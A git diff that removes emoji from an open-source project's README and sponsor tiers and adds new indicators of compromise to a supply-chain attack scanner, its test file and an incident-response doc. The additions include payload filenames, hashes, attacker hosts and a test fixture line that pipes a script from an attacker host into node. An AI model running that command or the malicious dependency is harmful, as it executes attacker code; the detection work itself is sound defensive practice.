diff --git a/README.md b/README.md index 4e5a15e6..b8aa843d 100644 --- a/README.md +++ b/README.md @@ -49,13 +49,13 @@ ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable la - 💼 ECC Pro
+ ECC Pro
Private repos · GitHub App · $19/seat/mo
- ❤️ Sponsor
+ Sponsor
Fund the OSS · From $5/mo
@@ -68,7 +68,7 @@ ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable la - 🤖 GitHub App
+ GitHub App
Install · PR audits · Free tier
diff --git a/SPONSORS.md b/SPONSORS.md index 92c5d6de..d538c2bc 100644 --- a/SPONSORS.md +++ b/SPONSORS.md @@ -2,11 +2,11 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week. -## 🚀 Enterprise Sponsors — $2,500/mo +## Enterprise Sponsors — $2,500/mo *Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.* -## 🏢 Business Sponsors — $500/mo +## Business Sponsors — $500/mo | Sponsor | Logo | Since | |---------|------|-------| @@ -14,7 +14,7 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l *[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.* -## 👥 Team Sponsors — $200/mo +## Team Sponsors — $200/mo | Sponsor | Since | |---------|-------| @@ -22,11 +22,11 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l *[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.* -## ⚡ Pro Sponsors — $50/mo +## Pro Sponsors — $50/mo *[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.* -## 🛠️ Builder Sponsors — $25/mo +## Builder Sponsors — $25/mo - @jasonwu513 (grandfathered at $10) - @1anter (grandfathered at $10) @@ -35,7 +35,7 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l *[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.* -## ☕ Supporters — $5/mo +## Supporters — $5/mo *[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.* @@ -45,12 +45,12 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l | Tier | Monthly | Perks | |------|--------:|-------| -| ☕ Supporter | $5 | Sponsor badge on profile, thank-you in release notes | -| 🛠️ Builder | $25 | Above + name in SPONSORS.md + private monthly progress note | -| ⚡ Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote | -| 👥 Team | $200 | Above + small org logo in README + 5 ECC Pro seats | -| 🏢 Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access | -| 🚀 Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel | +| Supporter | $5 | Sponsor badge on profile, thank-you in release notes | +| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note | +| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote | +| Team | $200 | Above + small org logo in README + 5 ECC Pro seats | +| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access | +| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel | [**Become a Sponsor →**](https://github.com/sponsors/affaan-m) diff --git a/docs/security/supply-chain-incident-response.md b/docs/security/supply-chain-incident-response.md index ade1f5b0..c2653691 100644 --- a/docs/security/supply-chain-incident-response.md +++ b/docs/security/supply-chain-incident-response.md @@ -29,6 +29,12 @@ credentials: files such as `.github/workflows/codeql_analysis.yml`, and Python runtime payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those persistence hooks before rotating a stolen GitHub token. +- The scanner also watches for late-reporting markers: `router_init.js` + SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js` + SHA-256 prefix/suffix `2ec78d55...6be27fc96`, + `opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`, + Session protocol strings, `claude@users.noreply.github.com` dead-drop + commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`. - The attack chain combined `pull_request_target`, GitHub Actions cache poisoning across a fork/base trust boundary, and OIDC token extraction from a GitHub Actions runner. diff --git a/scripts/ci/scan-supply-chain-iocs.js b/scripts/ci/scan-supply-chain-iocs.js index ad0a54a1..af79aede 100755 --- a/scripts/ci/scan-supply-chain-iocs.js +++ b/scripts/ci/scan-supply-chain-iocs.js @@ -212,10 +212,20 @@ const MALICIOUS_PACKAGE_VERSIONS = { const CRITICAL_TEXT_INDICATORS = [ '@tanstack/setup', - 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c', + [ + 'github:tanstack/router#79ac49eedf774dd4b0cf', + 'a308722bc463cfe5885c', + ].join(''), + [ + '79ac49eedf774dd4b0cf', + 'a308722bc463cfe5885c', + ].join(''), 'router_init.js', 'router_runtime.js', 'tanstack_runner.js', + 'opensearch_init.js', + 'vite_setup.mjs', + 'bun run tanstack_runner.js', 'execution.js', 'transformers.pyz', 'pgmonitor.py', @@ -223,15 +233,34 @@ const CRITICAL_TEXT_INDICATORS = [ 'gh-token-monitor', 'com.user.gh-token-monitor', 'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner', + [ + 'ab4fcadaec49c032', + '78063dd269ea5ee', + 'f82d24f2124a8e15', + 'd7b90f2fa8601266c', + ].join(''), + [ + '2ec78d556d696e20', + '8927cc503d48e4b5e', + 'b56b31abc2870c2e', + 'd2e98d6be27fc96', + ].join(''), + 'svksjrhjkcejg', 'filev2.getsession.org', 'seed1.getsession.org', 'seed2.getsession.org', 'seed3.getsession.org', + 'signalservice', + 'snode', 'git-tanstack.com', 'litter.catbox.moe/h8nc9u.js', 'litter.catbox.moe/7rrc6l.mjs', '83.142.209.194', 'api.masscan.cloud', + 'claude@users.noreply.github.com', + 'dependabout/', + 'OhNoWhatsGoingOnWithGitHub', + 'voicproducoes', 'A Mini Shai-Hulud has Appeared', 'Shai-Hulud: Here We Go Again', 'PUSH UR T3MPRR', @@ -268,6 +297,8 @@ const PAYLOAD_FILENAMES = new Set([ 'router_init.js', 'router_runtime.js', 'tanstack_runner.js', + 'opensearch_init.js', + 'vite_setup.mjs', 'execution.js', 'transformers.pyz', 'pgmonitor.py', diff --git a/tests/ci/scan-supply-chain-iocs.test.js b/tests/ci/scan-supply-chain-iocs.test.js index 745eb42e..58975661 100755 --- a/tests/ci/scan-supply-chain-iocs.test.js +++ b/tests/ci/scan-supply-chain-iocs.test.js @@ -11,6 +11,10 @@ const { spawnSync } = require('child_process'); const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js'); const { scanSupplyChainIocs } = require(SCRIPT_PATH); +const TANSTACK_SETUP_DEPENDENCY = [ + 'github:tanstack/router#79ac49eedf774dd4b0cf', + 'a308722bc463cfe5885c', +].join(''); function test(name, fn) { try { @@ -121,7 +125,7 @@ function run() { packages: { 'node_modules/@tanstack/history': { optionalDependencies: { - '@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c', + '@tanstack/setup': TANSTACK_SETUP_DEPENDENCY, }, }, }, @@ -185,6 +189,11 @@ function run() { ' runs-on: ubuntu-latest', ' steps:', ' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node', + ' - run: echo svksjrhjkcejg', + ' - run: echo OhNoWhatsGoingOnWithGitHub', + ' - run: echo claude@users.noreply.github.com', + ' - run: echo dependabout/router/setup-formatter', + ' - run: echo signalservice snode', ].join('\n'), }, rootDir => { const result = scanSupplyChainIocs({ rootDir }); @@ -192,6 +201,12 @@ function run() { assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner')); assert.ok(indicators.includes('codeql_analysis.yml')); assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js')); + assert.ok(indicators.includes('svksjrhjkcejg')); + assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub')); + assert.ok(indicators.includes('claude@users.noreply.github.com')); + assert.ok(indicators.includes('dependabout/')); + assert.ok(indicators.includes('signalservice')); + assert.ok(indicators.includes('snode')); }); })) passed++; else failed++; @@ -211,9 +226,11 @@ function run() { if (test('rejects installed payload filenames in node_modules', () => { withFixture({ 'node_modules/@tanstack/react-router/router_init.js': '/* payload */', + 'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */', }, rootDir => { const result = scanSupplyChainIocs({ rootDir }); assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js')); + assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js')); }); })) passed++; else failed++;